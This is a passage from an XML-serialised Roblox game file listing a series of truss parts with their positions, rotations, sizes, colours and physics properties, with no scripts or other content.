					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1928">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-37</X>
						<Y>35.4000015</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1929">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-21</X>
						<Y>35.4000015</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1930">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-37</X>
						<Y>35.4000015</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1931">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-21</X>
						<Y>25.3999996</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1932">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-37</X>
						<Y>25.3999996</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1933">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-21</X>
						<Y>25.3999996</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1934">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-37</X>
						<Y>25.3999996</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1935">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-29</X>
						<Y>21.6000004</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>1</R10>
						<R11>0</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>14</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1936">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-29</X>
						<Y>21.6000004</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>1</R10>
						<R11>0</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>14</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1937">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-49</X>
						<Y>33.4000015</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>1</R10>
						<R11>0</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1938">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-37</X>
						<Y>15.3999996</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1939">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-49</X>
						<Y>33.4000015</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>1</R10>
						<R11>0</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1940">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-21</X>
						<Y>15.3999996</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1941">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-37</X>
						<Y>15.3999996</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1942">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
